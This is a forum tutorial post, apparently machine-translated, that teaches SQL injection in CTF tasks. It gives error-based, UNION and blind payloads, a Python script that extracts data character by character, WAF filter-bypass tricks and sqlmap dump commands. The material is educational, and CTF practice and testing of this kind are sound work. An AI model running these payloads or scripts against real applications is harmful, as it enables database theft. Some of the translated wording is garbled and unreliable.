SQL injections in CTF: from manual WHERE bypass to automation via sqlmap

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
380
Reaction score
610
Deposit
0$
Business logic SQL injections and location in MITRE ATT&CK


Why would an attacker bypass WHERE through a SQL injection? The ultimate goal is simple – to get to data that the application does not access: password hashes, personal data, and in CTF – a flag. In MITRE ATT&CK SQL injection in the web application — Exploit Public-Facing Application (T1190, Initial Access). Through it, the attacker climbs into the database - the tactics of Collection, the technique Databases (T1213.006). In advanced CTF scenarios, the injection leads to the reading of files on the server through LOAD_FILE() (Data from Local System, T1005) or fixed via SQL Stored Procedures (T1505.001, Persistence). On OWASP — A03:2021, Injection: the application is vulnerable when the user input is not validated, filtered or sanitized.





In CTF, the chain is shortened to a minimum: find the entry point → determine the database → select the technique → pull the flag. But the logic of exploiting web application vulnerabilities is the same as on a real pentest. There is a rule in SigmaHQ app_sqlinjection_errors.yml, the detective characteristic SQL errors in the logs are exactly the lines you are looking for when manually searching for SQL injections in CTF tasks.





Requirements for the environment: Burp Suite (Community is enough for eyes to intercept queries), Python 3.x with library requests, sqlmap (current version with GitHub) and curl for quick checks from the terminal.






Algorithm for determining the type of SQL injection in three minutes


[Applicable: any CTF task with web form, cookie or GET/POST parameter]





Manual search for SQL injections starts with three consecutive steps. PortSwigger in Web Security Academy describes a systematic set of tests against each point of input: a single quotation rate, boolean conditions, time-based payloads and OAST techniques.





is the reaction to the special symbol. Insert a single quote ' in the parameter and look at the answer. Three outcomes:





Error with SQL query text (You have an error in your SQL syntax) → probable error-based SQLi. Run to the relevant section.
The page has changed (the content is missing, other information has come out), but without error → test boolean conditions ' AND '1'='1 and ' AND '1'='2. The behavior is different – boolean blind SQL injection.
The page has not changed, there is no mistake → trying time-based: ' AND SLEEP(5)-- for MySQL or '; SELECT pg_sleep(5)-- for PostgreSQL. Response delay for 5 seconds = time-based blind SQL injection.
– choice of technique. Errors are visible → error-based (the fastest). The data from SELECT is displayed on the →UNION-based page. No errors, no data → blind (boolean or time). The correct classification in this step saves 30-40 minutes on the task.





Each step depends on the result of the previous one. SQL injections in CTF are a structured task, not a random overkill of payloads. Who understands this logic decides consistently. Those who do not understand shoot at random and lose time.





Preconditions and limitations: the algorithm assumes a string parameter in single quotes. For numerical parameters (WHERE id = 5) quotation redeer is not needed — injection into the database starts with 5 AND 1=1 without quotation marks. If the parameter is wrapped in double quotes or brackets, close them.






Error-based SQL injection: extractvalue, CAST and FLOOR


[Applicable: CTF tasks with mapping DB errors, configuration without suppression verbose errors]





Error-based SQL injection is the fastest way to the flag when the application shows error texts. The point: make the database throw away an error containing the result of the subquery. PortSwigger in the study blind SQL injection shows how the function CAST() turns the blind injection into visible: trying to bring the string to the integer causes the DBMS to return the contents of the string directly in the error text.





MySQL: extractive and updatexml. Both functions await XPath expression. If instead of the correct way /root/node set up a string with a tilda — DBMS returns an error XPATH syntax error with sub-query contents. Payload ' AND extractvalue(1, concat(0x7e, (SELECT version())))-- return the error of kind XPATH syntax error: '~5.7.42'. Replace version() on flag FROM flag – and the flag buoy pops up in the text of the error. Similarly works updatexml(1, concat(0x7e, (SELECT version())), 1).





Subtlety: extractvalue() and updatexml() return a maximum of 32 characters. For long values, we cut through SUBSTRING(): construction extractvalue(1, concat(0x7e, substring((SELECT flag FROM flag), 10, 32))) extracts symbols in portions - first positions 1-32, then 10-42, then 33-64. It's boring, but it works.





Alternative: FLOOR(RAND(0)*2). As described by pentest-tools.com, peyload through FLOOR(RAND(0)*2) with GROUP BY causes a key duplication error: Duplicate entry '10.1.36-MariaDB#0' for key 'group_key'. There is a nuance here: RAND(0) with a fixed seed gives a deterministic sequence. FLOOR(...*2) rounds up to 0 or 1, and with GROUP BY There is a duplication of the key in the time table. Without seed=0 The technique is unstable – it may not work the first time. On CTF it is annoying, but it is useful to know.





PostgreSQL: CAST. Payload ' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)-- will return ERROR: invalid input syntax for type integer: "users". The name of the table is directly in the error text.





Preconditions and limitations: error-based sql injection is dead if the application intercepts database exceptions and shows a generic response (HTTP 500 without details). Check the title X-Powered-By and content-type – JSON API often hide errors behind the standard {"error": "Internal Server Error"}. No error in the answer – switch to UNION or blind.






UNION-based SQL injection: full chain to flag


[Applicable: tasks with the output of SELECT to the page - directories, profiles, search forms]





Union based SQL injection is a working horse of CTF tasks on SQL injections. Operator UNION attaches to the original request arbitrary SELECT, and the result appears on the page. Simple and beautiful.






Counting columns and extracting data


Without a precise match of the number of columns UNION throws out the error. Two methods:





ORDER BY (binary search) Consistently increase the number: ' ORDER BY 1-- → OK, ' ORDER BY 5-- → error, ' ORDER BY 3-- → OK, ' ORDER BY 4-- → mistake. Three columns, found in four requests. The number of queries is log2(N), where N is the number of columns.





UNION SELECT NULL. Add NULL-values: ' UNION SELECT NULL-- → error, ' UNION SELECT NULL, NULL-- → error, ' UNION SELECT NULL, NULL, NULL-- → the result. Three columns. Slower than ORDER BY, but more reliable in contexts where ORDER BY is syntactically prohibited (e.g., inside a subquery).





After determining the number of columns, we find which of them are displayed on the page: request -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- show where the marker lines appear. It is in these positions that sub-queries are set. Significance -1 before the quote ensures that the original request will return an empty result - only our data from UNION will remain on the page.





Full chain for MySQL (three columns, second displayed):





-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3

FROM information_schema.tables WHERE table_schema=database()--



-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3

FROM information_schema.columns WHERE table_name='flag'--



-1' UNION SELECT 1, flag, 3 FROM flag--





GROUP_CONCAT() glues all the lines into one - without it you will see only the first line of the result. For SQLite instead information_schema used sqlite_master: request -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- will return CREATE TABLE with all the column names. Bypassing authorization via SQL with UNION is also possible: payloade in the password field can return the valid hash from another table.





Preconditions and limitations: union based SQL injection does not work if the query is not displayed on the page - switch to blind. In PostgreSQL stricter typing – may be required CAST(1 AS text) instead of numerical plugs. WAF filters on the word UNION bypass the change of the register (uNiOn) or inline comments (UN/**/ION). More about filter circumvention – below.






Blind SQL injection: boolean and time-based techniques


[Applicable: login forms without data output, cookie-based injections, tasks without errors and output]





Boolean blind SQL injection is the most frequent and most nude type of CTF task. The application does not return either the result of the request or the error - only an indirect sign: whether the behavior of the page differs in TRUE and FALSE condition. OWASP in the documentation on Blind SQL Injection describes it this way: the attacker asks the database questions true/false and determines the answer to the behavior of the application.





A classic example from PortSwigger Web Security Academy – cookies TrackingId: meaning xyz' AND '1'='1 → page contains “Welcome back” (TRUE), value xyz' AND '1'='2 → "Welcome back" is gone (FALSE). Communication channel is established. Next is the matter of technology.





Data extraction goes by the symbol through binary search: payload for SQL injection view xyz' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)>'m – if TRUE, symbol in the n-z range. We divide the range in half, check >'t', >'q', until we find the exact value. Each symbol is 6-8 requests. For the flag with a length of 32 characters - 200-250 HTTP requests. With his hands, it's painful.





Time-based blind SQL injection Applies when even the content of the page does not change. The only channel is the response time. Payload for MySQL: ' AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), 0)--. The answer came in 5 seconds – the first symbol s. Instantly, no. For PostgreSQL – pg_sleep(), for MSSQL — WAITFOR DELAY '0:0:5'. OWASP mentions BENCHMARK() as an alternative SLEEP() in MySQL: Call BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')) creates a delay through the computing load when SLEEP() blocked by WAF.






Computers with swindle injection in Python


Hand overkill of the 32-character flag through the boolean blind - one and a half hours of tournament time. Automating SQL injections through Python reduces this to 3-5 minutes:



import requests

url = "http://target.ctf/page"

flag = ""

for pos in range(1, 40):

low, high = 32, 126

while low <= high:

mid = (low + high) // 2

payload = f"' AND ORD(SUBSTRING((SELECT flag FROM flag),{pos},1))>{mid}-- -"

r = requests.get(url, params={"id": payload})

if "Welcome" in r.text: low = mid + 1

else: high = mid - 1

flag += chr(low)

print(f"[*] {flag}")





The script uses binary search through ORD() (returns the ASCII code of the symbol) and SUBSTRING(). For time-based blind, replace content checking for time measurement: if r.elapsed.total_seconds() > 4: low = mid + 1. ORD() allows you to work with numerical comparisons instead of strings - more reliable, because it does not depend on the collation of the database.





Preconditions and limitations: boolean blind requires a stable TRUE/FALSE indicator – if the page generates random content at each query (CSRF tokens, nonce), you need to parse a specific element, not compare the entire answer. Time-based blind is sensitive to network delays: on unstable connection SLEEP(5) may not differ from just the slow response of the server. Increase the delay to 8-10 seconds, and in the script use the threshold with the stock (> threshold * 0.7).






Bypassing WHERE and WAF filters in CTF tasks


[Applicable: tasks with keyword filtering, WAF rules, regular expressions on the application side]





Bypassing WHERE SQL injection is a separate discipline in the CTF. Organizers put filters on keywords, gaps, quotes and operators. Invicti’s SQL Injection Cheat shows that inline comments are a versatile bleaching tool: design DROP/*comment*/sampletable passes by a filter that searches for a whole word.





The main techniques of manual circumvention:





Change of register: uNiOn SeLeCt – if the filter is looking for UNION SELECT in the exact register, the change of at least one letter passes. Most self-written CTF filters break down on this.
Inline comments: UN/**/ION SEL/**/ECT – commentary /**/ breaks the keyword, the database ignores it.
Replacement of gaps: /**/ or %09 (tabulation) or %0a (line translation) instead of space. MySQL has a special syntax /*!50000 UNION*/ – the instruction is performed only if the version MySQL >= 5.0. According to Invicti, this syntax helps with fingerprinting: SELECT /*!80027 1/0, */ 1 FROM tablename will cause an error only on MySQL 8.0.27+.
Hex-coding of strings: instead of WHERE name='admin' → WHERE name=0x61646d696e. Bypassing the filters on the quotes. Invicti Cheat Sheet noted that 0xHEXNUMBER works in MySQL as a string, and in combination with + as a whole number.
LIKE instead of =: when filtering the symbol = replace WHERE name='admin' on WHERE name LIKE 'admin'.
Double URL coding: %2527 instead of ' – if the application decodes the URL twice, the first pass turns %25 in %, the second — %27 in '.


Preconditions and limitations: Bypassing through the register and comments works against simple regular expressions. Serious WAF (ModSecurity with Core Rule Set, Cloudflare WAF) normalize input before checking – these techniques are useless against them. In CTF, self-written filters are more common, where bypassing through the register and comments works in 80% of cases.






Automation of SQL injections through sqlmap for CTF


[Applicable: any CTF task with confirmed SQL injection when manual extraction is irrational]





sqlmap for CTF is a second-stage tool. First, you confirm the injection with your hands, determine the database and working payload - then you give the automation routine. Running sqlmap blindly is a waste of time: it spends minutes on fingerprinting, which is already made by hand.





Key flags for CTF scenarios:





sqlmap -u "http://target.ctf/?id=1" --dbms=mysql --technique=U --batch



sqlmap -u "http://target.ctf/?id=1" -T flag --dump



sqlmap -u "http://target.ctf/?id=1" --tamper=space2comment,randomcase



sqlmap -u "http://target.ctf/" --cookie="id=1*" --level=2





Parsing: --technique=U restricts sqlmap only to UNION equipment (letters: B – boolean blind, E – error-based, U – union, S – stacked queries, T – time-based), --dbms=mysql passes the definition of the database, --batch answers yes to all questions. --level=2 includes testing of cookie parameters - without it sqlmap cookie does not touch. The star * in the value of the cookie indicates the exact location of the injection.
 
Top Bottom